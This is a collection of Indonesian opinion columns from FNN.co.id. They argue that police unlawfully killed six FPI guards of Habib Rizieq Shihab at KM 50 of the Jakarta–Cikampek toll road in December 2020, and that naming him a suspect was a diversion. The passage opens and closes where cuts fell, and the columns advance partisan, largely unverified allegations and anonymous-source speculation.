“saya intel.” Lucunya, Kapolda Metro Jaya mengatakan, polisi menembak pengawal HRS karena membalas tembakan yang dilakukan pengawal HRS. “Apakah pengawal HRS akan menembak mobil polisi jika kendaraan tersebut berada dalam rentang jarak ratusan meter atau beberapa kilometer di belakang rombongan HRS? Katanya “surveillance”, tapi kok berdekatan?” sindir Abdullah Hehamahua. Padahal di KUHAP pasal 1 angka 5 mengatakan, penyelidikan adalah “Serangkaian tindakan penyelidik untuk mencari dan menemukan suatu peristiwa yang diduga sebagai tindak pidana guna menentukan dapat atau tidaknya dilakukan penyidikan menurut cara yang diatur dalam undang-undang ini”. Pertanyaanya, dugaan tindak pidana apa yang dilakukan HRS sehingga harus dibuntuti? Jika pelanggaran protokol kesehatan yang dilakukan, maka polisi sangat lebai. “Mungkin polisi dapat dipidana dengan undang-undang Tipikor pasal 3,” tegas Abdullah Hehamahua. Sebab, mereka menyalahgunakan kesempatan atau jabatan yang ada dan mengakibatkan kerugikan keuangan/ perekonomian negara. Kerugian mana yang dilakukan anggota polisi tersebut. Bukankah, setiap proyek tersebut ada anggarannya? Kalaupun ada bukti HRS melakukan pelanggaran prokes, bukankah puluhan bahkan ratusan pelanggaran prokes yang dilakukan pejabat negara, partai porpol ketika pilkada, ormas, dan anggota masyarakat yang melakukan kegiatan keagamaan, kebudayaan, dan perkawinan? "Namun, tidak ada penyelidikan seserius ini. Kalau pun HRS sudah ditetapkan sebagai terperiksa, saksi, bahkan tersangka sekalipun, silahkan ikuti ketentuan yang ada dalam KUHAP, khususnya pasal 112 ayat 1 dan 2 KUHAP," ungkap Abdullah Hehamahua. Saksi atau tersangka dipanggil dengan surat resmi dalam tenggang waktu yang proporsional. Kalau pun saksi atau tersangka tidak bisa hadir karena alasan-alasan tertentu, Penyidik dapat melakukan pemeriksaan di tempat saksi atau tersangka berada. “Apakah rakyat percaya keterangan Mabes Polri? Bukankah secara telanjang Polda Metro Jaya sudah melakukan kebohongan publik?” tanya Abdullah Hehamahua. Apakah dapat disimpulkan, yang dilakukan PMJ, kesalahan oknum, bukan institusi sehingga Mabes Polri dapat dipercaya dibanding Polda Metro Jaya? “Sebagai orang yang punya dua adik ipar, anggota polisi, saya prihatin dengan runtuhnya citra polisi,” lanjut Abdullah Hehamahua. Versi Saksi Hasil investigasi Forum News Network yang juga tayang di akun YouTube, ternyata ke-6 pengawal HRS itu digiring kembali masuk tol. Sesuai kronologis resmi yang dikeluarkan DPP FPI, mereka terus dipepet dan ditembaki selepas keluar pintu tol Karawang Timur. Dan, sesuai bukti rekaman suara bahwa OTK berhasil dihalangi, sehingga tidak berhasil mencapai HRS dan keluarga, lalu mereka terus mengecoh OTK dan dijauhkan dari HRS. Keenam pengawal HRS itu terus dikejar, dipepet, dan digiring masuk kembali ke dalam tol melalui pintu tol Karawang Barat menuju arah Cikampek, kemudian terus digiring ke km 50. Sesuai rekaman suara terakhir ada rintihan salah satu pengawal yang tertembak dan saat di km 50 ada 2 pengawal HRS yang sudah tewas tertembak di dalam mobil. Pantas, Polri sesumbar akan keluarkan rekamam CCTV drama baku tembak, ternyata polisi berusaha kondisikan mobil pengawal HRS digiring masuk kembali ke dalam tol untuk dibuat adegan seolah ada adegan kejar-kejaran, pepet-pepetan, dan tembak-tembakan. Menurut keterangan saksi bahwa ada 4 orang diturunkan oleh OTK dari mobil pengawal HRS itu masih dalam keadaan hidup. Ternyata para OTK itu di km 50 adalah polisi yang dibantu polisi berseragam hitam berenjata laras panjang (diduga Brimob/Densus 88) yang memang sudah menunggu di km 50. Kemudian 4 pengawal HRS itu diseret dan disiksa serta dibantai secara sadis di rest area km 50. Mereka pun mengancam para pedagang untuk bungkam dan memberitahunya bahwa 4 orang tersebut adalah teroris. Jadi jelas, “Ternyata Polri sudah menyiapkan km 50 sebagai ladang pembantaian HRS dan keluarga bersama para laskar pengawal yang tak bersenjata,” tulis akun Angin Gunung. Penulis adalah Wartawan Senior FNN.co.id

HRS Dijadikan Tersangka: Polisi Panik dan “Kehabisan Bahan”

by Asyari Usman Medan FNN - Kamis (10/12). Hari ini tadi (10/12/2020), Polda Metro Jaya menetapkan Habib Rizieq Syihab (HRS) dan sejumlah petinggi FPI lainnya sebagai tersangka pelanggaran protokol Covid-19. Yaitu, menciptakan kerumunan di Petamburan. Penetapan status tersangka ini, kata Polisi, dilakukan setelah dilaksanakan gelar perkara pada 8 Desember 2020. Seperti diketahui, pada 7 Desember dinihari terjadi insiden penembakan mati 6 laskar FPI oleh polisi yang melakukan penguntitan terhadap HRS di jalan tol Cikampek. Apa yang bisa terbaca dari tindakan Polisi menjadikan HRS sebagai tersangka? Ada beberapa hal yang dapat dicatat. Pertama, Polisi dilanda kepanikan setelah mereka menembak mati 6 laskar FPI. Sekian banyak komponen sosial-politik menuntut agar dibentuk Tim Pencari Fakta (TPF) independen untuk mengusut penembakan yang sangat mungkin masuk kategori pelanggaran HAM berat itu. Para pelakunya akan diadili di pengadilan HAM. Bukan pengadilan biasa. Kedua, ada kecenderungan publik tidak percaya pada penjelasan pihak kepolisian mengenai kronologi insiden penembakan mati keenam laskar itu. Masyarakat menilai banyak kejanggalan di dalam peristiwa penembakan itu. Polisi mengatakan ada tembak-menembak antara keenam laskar dan polisi. Tetapi, sejumlah saksi mata yang memberikan penjelasan kepada sejumlah wartawan yang melakukan investigas di TKP mengatakan mereka tidak mendengar tembak-menembak. Ketiga, setelah tersudut oleh insiden penembakan itu, Polisi tidak punya pilihan lain. Mereka harus menurunkan kartu berikutnya. Kartu yang taruhannya lebih tinggi. HRS ditersangkakan. Dengan begitu, mereka akan memiliki dasar untuk melakukan penangkapan terhadap HRS. Dan, Kapolda Metro Jaya Irjen Fadil Imran sangat menekankan tindakan penangkapan itu. Keempat, dengan menjadikan HRS sebagai tersangka, Polisi berharap mereka bisa kembali di atas angin. Dalam arti, publik akan heboh membahas status HRS sebagai tersanngka. Sehingga, tuntutan publik agar dibentuk TPF independen untuk mengusut tuntas penembakan mati 6 laskar FPI bisa kendor. Ibarat permainan catur, Polisi ingin lepas dari skak mat publik yang sangat memojokkan. Kelima, dan ini yang perlu dicermati dengan saksama, ialah bahwa proses penangkapan HRS nanti –jika menjadi kenyataan— sangat mungkin bergulir menjadi kerusuhan besar. Situasi yang rusuh tentu bisa memunculkan banyak probabilitas. Kerusuhan bisa dijadikan alasan oleh Polisi untuk “bertindak tegas”. Tindakan tegas itu bisa macam-macam bentuknya. Termasuk menggunakan “last resort” alias “cara terakhir”. Kalau sampai pada “last resort”, ini pun bisa sangat bebas penjabarannya. Karena itu, kartu tersangka yang diturunkan Kepolisian untuk HRS dan jajaran pimpinan FPI bisa menjadi sangat kontraproduktif. Publik yang menonton malah semakin yakin bahwa Polisi sedang “kehabisan bahan”. Orang seberang bilang, “losing the argument”.[] (Penulis wartawan senior FNN.co.id)

Penetapan Tersangka Habib Rizieq Pengalihan Isu?

by Hersubeno Arief Jakarta FNN - Kamis (10/12). Polda Metro Jaya menetapkan Habib Rizieq Shihab (HRS) sebagai tersangka kerumunan massa di Markas FPI Petamburan. Ancaman hukumannya sampai 6 tahun penjara. Begitu berita yang dirilis sejumlah media online hari ini Kamis (10/12). Di media sosial, berita tersebut menjadi perbincangan yang seru. Ada yang menilai langkah polisi itu pengalihan isu. Polisi sedang tertekan dan terpojok dalam kasus terbunuhnya 6 orang laskar FPI. Benarkah penetapan HRS sebagai tersangka merupakan pengalihan isu. Bukan proses hukum biasa? Dalam kasus kerumunan massa di Petamburan, polisi sebenarnya sudah melayangkan panggilan kedua pada hari Senin (7/12). Namun pada Senin dini hari terjadi peristiwa mengenaskan itu. Tanpa kehadiran HRS, penyidik rupanya telah melakukan gelar perkara kasus Selasa (8/12). Berdasarkan itu, penyidik menyimpulkan, status HRS secara resmi ditingkatkan menjadi tersangka. Kalau benar seperti dicurigai publik ada pengalihan isu, maka dari sisi komunikasi publik/politik, polisi menerapkan strategi yang cerdik. Polisi tengah menerapkan manajemen pengelolaan isu, berupa pencegahan krisis. Harus diakui, posisi polisi tengah tertekan. Kasus penembakan 6 orang laskar FPI membuat komunikasi publik polisi kedodoran. Mereka hanya leading beberapa jam saja. Setelah Kapolda Metro Jaya Irjen Pol Fadil Imran menggelar jumpa pers pada Senin (7/12) siang. Semua media mainstream mengunyah informasi yang disampaikan. “6 orang lasykar FPI Ditembak Mati Karena Menyerang Petugas.” Media-media mainstream menjadikan berita besar. Kategorinya Breaking News. Konferensi pers yang digelar oleh Kapolda ini sesungguhnya sangat mengejutkan. Sebab sebelumnya FPI hanya mengumumkan bahwa 6 orang laskarnya yang mengawal HRS hilang. Diculik orang tak dikenal. Pengakuan Kapolda Metro Jaya membuka tabir. Ternyata mereka bukan diculik orang tak dikenal. Mereka ditembak mati polisi. Andai Kapolda tidak menggelar jumpa pers, kemungkinan besar kasusnya sampai hari ini masih menjadi misteri. Setelah itu peta penguasaan informasi berubah total. FPI melalui Sekum FPI Munarman membuat bantahan. Yang paling telak bantahan bahwa para laskar FPI ini tidak pernah membekali diri dengan senjata. Apalagi senjata api. Hal itu sangat terlarang. Jadi bagaimana mungkin mereka menyerang? Tak lama kemudian muncul rekaman suara komunikasi ( voice note ) antar-laskar FPI yang mengawal HRS. Direktur Reserse Kriminal Umum Polda Metro Jaya Kombes Tubagus Ade Hidayat menyebut, voice note itu sebagai bukti adanya niat pengawal HRS menyerang polisi. Voice note itu segera menyebar luas. Namun setelah dicermati secara detil, publik dan media punya kesimpulan yang berbeda dengan polisi. Dari voice note tersebut justru diketahui rombongan HRS dikuntit oleh kelompok tak dikenal. Para pengawal mencoba menghalang-halangi, agar penguntit tak bisa mendekat mobil yang ditumpangi HRS. Pada akhir percakapan, salah satu mobil mengaku melanjutkan perjalanan ke Bandung untuk mengecoh penguntit. Setelah itu komunikasi terputus. Rombongan HRS selamat. FPI menyampaikan ke publik 6 orang laskarnya hilang diculik. Kelanjutan cerita, seperti sama-sama kita baca di berbagai media. Beberapa saksi yang berada di rest area KM 50 memberi keterangan berbeda dengan polisi. Arus opini publik berbalik. Apalagi kemudian kelompok civil siciety rame-rame mendesak dibentuk tim pencari fakta. Komnas HAM juga mulai menurunkan timnya. Langkah Mabes Polri menarik kasusnya dari Polda, dan menurunkan Tim Divisi Propam tidak menurunkan tekanan opini publik. Memilih medan pertempuran Dengan menetapkan HRS sebagai tersangka, polisi tampaknya berupaya mengalihkan isu. Setidaknya bisa memecah fokus perhatian publik. Penetapan HRS sebagai tersangka, bagaimanapun juga pasti akan memancing kemarahan pendukungnya. Apalagi kalau sampai HRS kemudian ditangkap dan ditahan. Kemungkinan besar mereka akan kembali ramai-ramai ke Jakarta. Ini bisa menjadi santapan media. Khusus bagi media elektronik, pengerahan massa yang sangat besar secara visual sangat menarik. Layak menjadi berita utama. Fokus media dan publik terpecah. Dari sisi opini, penetapan sebagai tersangka ini sepenuhnya bisa dikendalikan oleh polisi. Ini menjadi domain penyidik. Kalau terjadi perdebatan, levelnya pada ranah hukum. Bisa lebih dikelola ( manageable ). Beda dengan kasus penembakan. Media dan publik bahkan bisa rame-rame menantang argumen polisi. Temuan media di lapangan. Pengakuan para saksi, membuat Humas Polri kewalahan melayani argumen publik. Ini lapangan becek yang tak bisa lagi dikendalikan. Jadi lapangan permainan harus dialihkan. Sekarang kita tinggal menyaksikan. Apakah FPI dan publik terpancing dan terpecah konsentrasinya. Polisi mulai bermain cerdik dan kalkulatif. Mereka memilih medan pertempuran yang pasti bisa dimenangkan. Bagi praktisi kehumasan, mengamati strategi polisi mengelola isu HRS ini, akan menjadi studi yang menarik. Kegagalan komunikasi publik sebuah institusi, dampaknya bisa sangat serius. Paling berat adalah rusaknya reputasi ( brand reputation ). Kalau sampai hal itu terjadi, apapun yang disampaikan kepolisian, tidak akan dipercaya publik. Publik tidak lagi menimbang benar, apa salah. Muncul sikap apriori. Soal ini harus benar-benar mendapat perhatian para pimpinan Polri. Itu kalau masih peduli dengan reputasi lho….End Penulis wartawan senior FNN.co id

Polisi dan Pelanggaran HAM Berat

by Abdullah Hehamahua Jakarta FNN - Kamis (10/12). Anak muda itu baru selesai shalat dhuha. Selesai shalat, beliau langsung memanggul rangsel kecilnya lalu menuju lift. Kami berpapasan di depan lift. Beliau mengangguk ke arah saya sambil senyum. Saya langsung menyalaminya sambil berbisik, “semoga berhasil.” Beliau hanya senyum “nyengir,” tanpa berkata apa-apa. Begitulah kejadian yang sering saya saksikan bertahun-tahun di lantai 6 Kantor KPK, C1, Kuningan, Jakarta Selatan. Itulah kegiatan “surveillance” yang dilakukan KPK. Senyap, tidak diberitakan pers. Apalagi sampai timbul bentrokan di antara petugas KPK dengan masyarakat. Namun, laksana petir di siang bolong ketika Polda Metro Jaya mengatakan, polisi dalam kegiatan “surveillance,” berhasil membunuh enam orang pengawal HRS. Apakah tindakan polisi ini sudah terkategori sebagai pelanggaran HAM.? Bahkan, pelanggaran HAM berat? Surveillance Surveillance” menurut Kamus berarti pengawasan. Maknanya, kegiatan “surveillance” adalah suatu proses mengawasi subjek tertentu oleh pihak-pihak terkait Apa yang dilakukan laki-laki di lantai 6 KPK di atas adalah tugas “surveillance.” Direktorat Pengaduan Masyarakat (Dumas) KPK, mempunyai salah satu tugas, melakukan kegiatan “surveillance.” Kegiatan ini dilakukan dalam rangka mengumpulkan bahan keterangan sebanyak mungkin mengenai suatu kasus. SOP KPK menetapkan, Dumas boleh melakukan kegiatan “surveillance” jika sudah ada bukti awal yang menunjukkan terjadi suatu tindak pidana korupsi. Kegiatan “surveillance” yang dilakukan insan KPK, tak ubahnya “tuyul.” Sebab, kegiatan tersebut tidak diketahui siapa pun, baik oleh masyarakat di TKP maupun objek yang menjadi sasaran. SOP KPK juga menetapkan, baik dalam kegiatan “surveillance,” penyilidikan, maupun penyidikan, orang lain tidak boleh mengetahui operasi tersebut. Kawan seruangan pun tidak boleh mengetahui. Itulah sebabnya, lelaki di lantai 6 KPK di atas, tidak bicara sepatah pun dengan saya mengenai tugas yang akan dilaksanakan. Metode dan pola inilah yang mengakibatkan sekitar 95% kegiatan OTT KPK berhasil. Mungkin 99% terdakwanya dijatuhi hukuman di Pengadilan Tipikor. Kapolda Metro Jaya dalam konferensi persnya mengatakan, anggota polisi sedang melakukan kegiatan “surveillance” terhadap HRS. “Surveillance” kok demonstratif.? Mungkin ini gaya intel Indonesia. Berjumpa dengan orang lain. lalu memperkenalkan diri, “saya intel.” Lucunya, Kapolda Metro Jaya mengatakan, polisi menembak pengawal HRS karena membalas tembakan yang dilakukan pengawal HRS. Apakah pengawal HRS akan menembak mobil polisi jika kendaraan tersebut berada dalam rentang jarak ratusan meter atau beberapa kilometer di belakang rombongan HRS. ? Katanya “surveillance,” tapi kok berdekatan.? Kitab Undang-Undang Hukum Acara Pidana (KUHAP) pasal 1 angka 5 mengatakan, penyelidikan adalah "Serangkaian tindakan penyelidik untuk mencari dan menemukan suatu peristiwa yang diduga sebagai tindak pidana guna menentukan dapat atau tidaknya dilakukan penyidikan menurut cara yang diatur dalam undang-undang ini." Pertanyaannya, dugaan tindak pidana apa yang dilakukan HRS sehingga harus dibuntuti? Jika pelanggaran protokol kesehatan yang dilakukan, maka polisi sangat lebai. Mungkin polisi dapat dipidana dengan undang-undang Tipikor pasal 3. Sebab, mereka menyalahgunakan kesempatan atau jabatan yang ada dan mengakibatkan kerugian keuangan/perekonomian negara. Kerugian mana yang dilakukan anggota polisi tersebut. Bukankah, setiap proyek tersebut ada anggarannya? Kalaupun ada bukti HRS melakukan pelanggaran protokol kesehatan, bukankah puluhan bahkan ratusan pelanggaran protokol kesehatan yang dilakukan pejabat negara, partai politik ketika kampanye pilkada, ormas, dan anggota masyarakat yang melakukan kegiatan keagamaan, kebudayaan, dan perkawinan? Namun, tidak ada penyelidikan seserius ini. Kalau pun HRS sudah ditetapkan sebagai terperiksa, saksi, bahkan tersangka sekalipun, silahkan ikuti ketentuan yang ada dalam KUHAP, khususnya pasal 112 ayat 1 dan 2 KUHAP. Polisi dan Kebohongan Berantai Polda Metro Jaya mengatakan, pistol yang digunakan pengawal HRS adalah asli, bukan rakitan. Belakangan, dikatakan, pistol itu, rakitan. Keluar pula pernyataan lain, pengawal HRS yang merampas senjata polisi. Jika benar, kasian betul kualitas anggota polisi Polda Metro Jaya yang senjatanya dapat dirampas warga sipil. Keanehan lain, polisi mengatakan kejadian tersebut terjadi di KM 50, tol Jakarta – Cikampek. Mana “pollice line”-nya. Tunjukkan bekas tembakan yang ada di mobil polisi. Kalau tembakan pengawal HRS tidak mengenai mobil polisi atau penumpangnya, hal ini kontradiksi dengan pernyataan polisi yang mengatakan, pengawal HRS yang merampas senjata polisi. Kok bisa merampas senjata polisi, tapi tembakannya tidak mengenai sasaran? Mabes Polri mengatakan, kasus penembakan 6 pengawal HRS diambil alih oleh mereka. Anggota polisi yang menembak pengawal HRS dalam pengawasan Propam karena ada kesalahan prosedur dalam operasi tersebut. Apakah rakyat percaya keterangan Mabes Polri? Bukankah secara telanjang Polda Metro Jaya sudah melakukan kebohongan publik? Apakah dapat disimpulkan, yang dilakukan Polda Metro Jaya, kesalahan oknum, bukan institusi sehingga Mabes Polri dapat dipercaya dibanding Polda Metro Jaya? Sebagai orang yang punya dua adik ipar, anggota polisi, saya prihatin dengan runtuhnya citra polisi. Apalagi ketika 4 tahun menjadi Wakil Ketua Komisi Pemeriksa Kekayaan Penyelenggara Negara (KPKPN) dan 8 tahun lebih di KPK, saya bergaul dan mengetahui beberapa polisi yang berintegritas, professional, dan berkinerja tinggi. Tidak ada pilihan lain dalam menyelamatkan citra kepolisian selain tindakan tegas harus diambil terhadap Kapolri, Kapolda Metro Jaya dan perwira polisi yang terlibat. Polisi dan Pelanggaran HAM Berat Pelanggaran HAM pertama yang dilakukan polisi adalah membuntuti perjalanan HRS. Beliau bukan teroris, pengedar narkoba, atau tersangka yang harus dibuntuti kegiatannya. Hak asasinya sebagai warganegara untuk pergi ke mana saja dalam wilayah Indonesia, sudah dirampas polisi. Pelanggaran HAM kedua, polisi telah melakukan teror psikologis terhadap HRS dan keluarganya. Pelanggaran ketiga, enam orang warga sipil yang tidak bersenjata, bukan teroris, pengedar narkoba atau tersangka, dibunuh tanpa suatu proses pengadilan. Pelanggaran keempat, otopsi yang dilakukan polisi terhadap keenam jenazah pengawal HRS tanpa persetujuan keluarga. Pelanggaran kelima, menurut pihak FPI, ada tanda-tanda penganiayaan di keenam jenazah di mana setiap jenazah terdapat lebih dari satu peluru dan mengarah ke jantung. Hal ini merupakan pelanggaran HAM berat. Sebab, wewenang tertinggi polisi dalam menghadapi seorang penjahat adalah melumpuhkan, yakni menembak bagian kaki. Fakta ini menunjukkan bahwa, polisi sudah merencanakan pembunuhan terhadap HRS dan pengawalnya. Peneliti KONTRAS Danu Pratama mengatakan, aksi kekerasan sepanjang 2019 mayoritas dilakukan aparat kepolisian. Jumlah aksi kekerasan tersebut mencapai 103 kasus. Mayoritas adalah kasus penganiayaan dan bentrokan, sebanyak 57 kasus. Peristiwa tersebut membuat 102 orang luka-luka dan dua orang meninggal. Kemudian 33 kasus penyiksaan dengan 32 orang luka dan sembilan oran meninggal, 5 kasus salah tembak dengan tiga orang luka dan lima orang meninggal, serta delapan kasus intimidasi. Simpulan Aksi penembakan dan penganiayaan terhadap enam pengawal HRS adalah tindakan pelanggaran HAM berat. Presiden harus segera mengambil tindakan tegas terhadap Kapolri dan Kapolda sebagaimana apa yang dilakukan terhadap Kapolda Jabar dan Metro Jaya dalam kasus pelanggaran protokol kesehatan yang dilakukan pendukung HRS. Komnas HAM, bersamaan dengan hari HAM internasional hari ini, segera membentuk Tim Pencari Fakta Independen, baik atas instruksi presiden maupun inisiatif sendiri sehingga kasus pembunuhan enam pengawal HRS harus diadili oleh Pengadilan HAM, bukan pengadilan biasa. Semoga! Penulis adalah Penasehat KPK 2005-2013

Adakah Operasi Hitam Dalam Penembakan Enam Laskar FPI?

by Tjahja Gunawan Jakarta FNN - Kamis (10/12). Pengambilalihan kasus penembakan terhadap enam orang laskar Front Pembela Islam (FPI) pengawal Habib Rizieq Shihab oleh Mabes Polri, memunculkan spekulasi adanya operasi hitam yang dilakukan oknum aparat di luar struktur resmi organisasi kepolisian. Kasus ini sebelumnya diungkap dan ditangani oleh Polda Metro Jaya. Namun kemudian Mabes Polri mengambil alih kasusnya. Bahkan Divisi Profesi dan Pengamanan (Propam) Mabes Polri telah mengamankan sejumlah penyidik dari Polda Metro Jaya yang diduga menembak enam anggota Laskar FPI di Jalan Tol Jakarta-Cikampek KM 50. Kepala Divisi Humas Polri Irjen Argo Yuwono mengatakan, penarikan kasus tersebut ke Mabes Polri untuk meyakinkan masyarakat penanganannya berlangsung transparan dan profesional. Sementara itu para aktivis HAM menyebut penembakan tersebut sebagai pembunuhan di luar hukum (extra judicial killing). Oleh karena itu pengusutan oleh Propam Mabes Polri menjadi penting untuk mengetahui rantai komando dan instruksi yang dilakukan polisi di lapangan saat melakukan penguntitan dan pembunuhan terhadap enam laskar FPI pada Senin dini hari 7 Desember 2020. Mantan Wakil Kepala Badan Intelijen Negara (BIN), As'ad Said, mencurigai ada misi lain di balik penguntitan yang berujung pembunuhan terhadap enam laskar FPI yang mengawal Imam Besar Habib Rizieq Shihab. "Kalau sampai terjadi aksi kekerasan apalagi pembunuhan, maka misinya bukan surveillance, tetapi ada misi lain atau kecerobohan petugas. Walllahu a’lam," kata As'ad Said sebagaimana dikutip Okezone, Selasa (8/12). As'ad Said juga menjelaskan, bagaimana seharusnya penguntitan atau dalam istilah ilmu intelijen disebut penjejakan fisik (physical surveillance) dilakukan. Jika penguntitan dilakukan menggunakan mobil, minimal yang digunakan dua kali lipat dari jumlah mobil yang diikuti. "Kalau lawan curiga, penjejak bisa membatalkan misinya atau menekan lawan untuk menghentikan mobil, tetapi tetap berpura pura tidak menjejaki yang bersangkutan, misalnya mengatakan ada kesalah pahamanan," jelas As'ad Said. Adanya spekulasi operasi kontra intelijen dalam kasus penembakanenam laskar FPI mengingatkan kita pada kasus penculikan mahasiswa pro-demokrasi tàhun 1998. Penculikan itu terjadi saat masa kepemimpinan Jenderal tertinggi ABRI, Wiranto. Kasus tersebut kemudian berujung pada kejatuhan rezim Soeharto. Berdasarkan data dari Komisi untuk Orang Hilang dan Korban Tindak Kekerasan (KontraS), sembilan mahasiswa korban penculikan berhasil dibebaskan. Mereka di antaranya adalah Andi Arief, Desmond J Mahesa, Pius Lustrilanang dan Nezar Patria. Sedangkan 13 korban lainnya dinyatakan hilang, satu di antaranya adalah Wiji Thukul, seorang seniman yang juga aktivis. Operasi penculikan mahasiswa prodem tersebut dilakukan oleh Satuan tugas Komando Pasukan Khusus (Kopassus), unit elite khusus Angkatan Darat, bernama Tim Mawar. Sumber yang memiliki otoritas di bidang Polkam menyebutkan, para mahasiswa pro-demokrasi yang dilepas adalah mereka yang diculik oleh Tim Mawar. Sedangkan para mahasiswa yang hilang atau sengaja dihilangkan, diculik oleh tim yang menunggangi operasi Tim Mawar. "Waktu itu ada operasi kontra intelijen yang memiliki misi lain," kata sumber tersebut kepada penulis Selasa malam (8/12). Di balik operasi tersebut, ketika itu sedang terjadi "perang bintang" di antara jenderal di lingkungan TNI AD waktu itu. Dalam kasus penembakan terhadap enam laskar FPI, juga mirip dengan kasus penculikan mahasiswa tàhun 1998. Mereka yang menghabisi laskar FPI tersebut sudah berpengalaman dalam menumpas dan menghabisi para teroris. Operasi yang mereka lakukan sengaja menunggangi operasi resmi yang dilakukan Badan Intelijen Negara (BIN) yang beberapa hari sebelumnya melakukan pengintaian terhadap aktivitas Habib Rizieq Shihab ketika berada di sekitar Pesantren Markas Syariah Megamendung, Jawa Barat. Sangat boleh jadi sasaran utama penguntitan disertai pembunuhan yang dilakukan Tim Operasi Hitam sebenarnya ditujukan kepada Habib Rizieq Shihab. Hanya saja dalam peristiwa di jalan tol Jakarta-Cikampek pada Senin malam itu, ruang gerak pasukan hitam tersebut berhasil dikecoh para laskar FPI yang mengawal rombongan keluarga Habib Rizieq. Pasukan yang semula diidentifikasi pihak FPI sebagai orang tidak dikenal (OTK), ternyata justru diakuisebagai pasukan polisi oleh Kapolda Metro Jaya Fadil Imran dalam konferensi pers Senin siang (7/12). Yang menjadi pertanyaan banyak masyarakat, mengapa Habib Rizieq sampai harus diintai, dibuntuti, hingga akhirnya menjadi target pembunuhan. Sementara yang bersangkutan bukan seorang buronan apalagi teroris. Beberapa kalangan yang memiliki otoritas di bidang polkam menyebutkan, tidak konsistennya sejumlah pernyataan Kapolda Metro Jaya terkait dengan kematian enam laskar FPI karena yang bersangkutan sengaja disuruh untuk menjadi "tukang cuci piring". Ada pihak-pihak yang memiliki extra power sedang memainkan operasi ini. Misi operasi kontra intelijen tersebut sengaja dilakukan untuk memancing kemarahan masyarakat terutama umat Islam. Mereka sengaja ingin menciptakan suasana chaos di tengah masyarakat. Sehingga dengan begitu, nanti ada pihak-pihak tertentu yang muncul sebagai Pahlawan kemudian mengendalikan keadaan sekaligus mengambil alih kekuasaan. Gelar perkara yang dilakukan Polda Metro Jaya pada Senin siang lalu, banyak yang bertolak belakang dengan fakta di lapangan. Sejumlah kalangan menyebutkan, pemutarbalikan fakta ini sengaja dilakukan untuk memprovokasi sekaligus mendorong amarah masyarakat terutama umat Islam. Sumber lain menyebutkan, operasi memburu Habib Rizieq dilakukan oleh lebih dari satu institusi. Upaya kriminalisasi terhadap Habib Rizieq semakin intens dilakukan karena juga terkait dengan perang bintang di lingkungan kepolisian dan TNI. Seperti diketahui, awal tàhun depan Kapolri Jenderal Idham Azis akan memasuki masa pensiun. Demikian pula, jabatan Panglima TNI Marsekal TNI Hadi Tjahjanto akan segera berakhir. Oleh karena itu sejumlah perwira tinggi di lingkungan kepolisian maupun TNI sekarang sedang berkompetisi memburu Habib Rizieq Shihab untuk mendapatkan legitimasi bagi kenaikan pangkat dan jabatan mereka masing-masing. Pembunuhan terhadap enam laskar FPI bukan hanya diberitakan media massa di Tanah Air tetapi juga diberitakan media internasional. Media massa juga telah mengungkap sejumlah keterangan berbeda antara yang disampaikan pihak kepolisian dengan pihak FPI. Media asing yang telah memberitakan aksi pembunuhan tersebut diantaranya The Guardian, Washington Post, Channelnews Asia, Al Jazeera, ABC News dan Reuters. Kasus pembunuhan enam laskar FPI ini juga kebetulan berdekatan dengan Hari Hak Asasi Manusia (HAM) Internasional yang biasa diperingati setiap tanggal 10 Desember. Oleh karena itu, kalangan aktivis kemanusiaan dan HAM yang tergabung dalam Koalisi Masyarakat Sipil sudah membentuk Tim Pencari Fakta (TPF) untuk mengusut dan menghentikan praktik brutalitas dan Extra Judicial Killing yang dilakukan aparat kepolisian. Bisa saja nanti kasus pembunuhan terhadap enam laskar FPI ini dibawa ke pengadilan HAM Internasional. Wallohu a'lam bhisawab. Penulis, wartawan senior FNN.co.id

Penembakan 6 Anggota FPI, Pertaruhan Kepercayaan kepada Polisi

by Dr. Ari Yusuf Amir, SH., MH. Jakarta FNN - Rabu (09/12). Imam Besar Front Pembela Islam (FPI) Habib Riziq Shihab (HRS) bersama keluarga (anak dan cucu-cucu), ingin melaksanakan agenda keluarga, yaitu ritual sholat Subuh berjamaah di sekitar Karawang, Jawa Barat. Perjalanan keluarga inti HRS dikawal oleh anggota laskar FPI pada Senin dinihari (7 Desember). Rombongan tersebut rupanya dikuntit aparat kepolisian. Mereka menghadang rombongan di jalan tol Cikampek, dan kemudian terjadilah penembakan terhadap enam anak bangsa itu. Menurut versi kepolisian, sebagaimana disampaikan Kapolda Metro Jaya, anggota Laskar FPI melakukan perlawanan dengan senjata tajam dan dua pucuk pistol. Karena itu petugas kepolisian, mengambil tindakan tegas dengan menembak mati keenam anak bangsa dan warga sipil itu. Penjelasan Kapolda Metro Jaya ini bukanlah sesuatu yang final dan tidak mungkin diamini secara taken for granted. Ini masalah serius. Ini masalah hilangnya nyawa enam orang warga sipil di tangan aparatur kepolisian. Menkopolhukam harus bentuk Tim independen Ada dua kelompok di masyarakat yang merespon peristiwa memilukan ini. Kelompok yang membenci dan resisten terhadap HRS dan FPI, termasuk beberapa media massa mainstream, mendukung tindakan kepolisian itu. Mereka menganggap tindakan polisi sudah tepat. Kematian enam warga sipil dan anak-anak bangsa di moncong senjata polisi dipandang pantas, tanpa melihatnya dari perspektif yang lain. Kelompok kedua, termasuk pegiat media sosial yang bernafaskan semangat juang pada pembelaan hak-hak kemanusiaan, memiliki perspektif berbeda. Sekalipun ada di antara kelompok ini yang tidak suka dengan FPI dan HRS, namun mereka memandang tindakan aparat kepolisian yang mengambil nyawa anggota Laskar FPI tersebut berlebihan, kelewat batas, melawan hukum dan keadilan, serta menyebabkan krisis percayaan terhadap polisi dalam memegang kewenangan menciptakan kamtibmas. Dalam perspektif kelompok kedua inilah muncul wacana publik untuk mendorong dibentuknya Tim Independen Pencari Fakta (TIPF) yang bebas dari anasir politik dan bekerja secara objektif. TIPF ini sekaligus menjadi pembanding temuan Komnas HAM RI yang juga mengumpulkan fakta ihwal kasus ini. Tujuannya sama, yaitu untuk mengungkap kebenaran hakiki, dan siapapun yang bersalah harus dimintakan pertanggungjawaban hukum. Semestinya tim ini dibentuk oleh Menkopolhukam. Anggotanya terdiri dari kalangan independen yang telah teruji kredibilitas dan keberaniannya, seperti akademisi, aktivis NGO, ulama, praktisi hukum dan dokter forensik. Formulasi tim pencari fakta ini serupa dengan TGPF pengungkapan kasus penembakan di Kabupaten Intan Jaya, Papua, pada 17 September lalu. Hal ini sangat penting untuk membuktikan bahwa pemerintah berlaku adil kepada semua warga negara, sekalipun berbeda pandangan politik. Hal terpenting yang harus diungkap ialah siapa yang bersalah, sesuai kebenaran fakta peristiwa. Jika tidak diungkap kebenarannya, maka peristiwa ini akan menjadi preseden buruk bagi 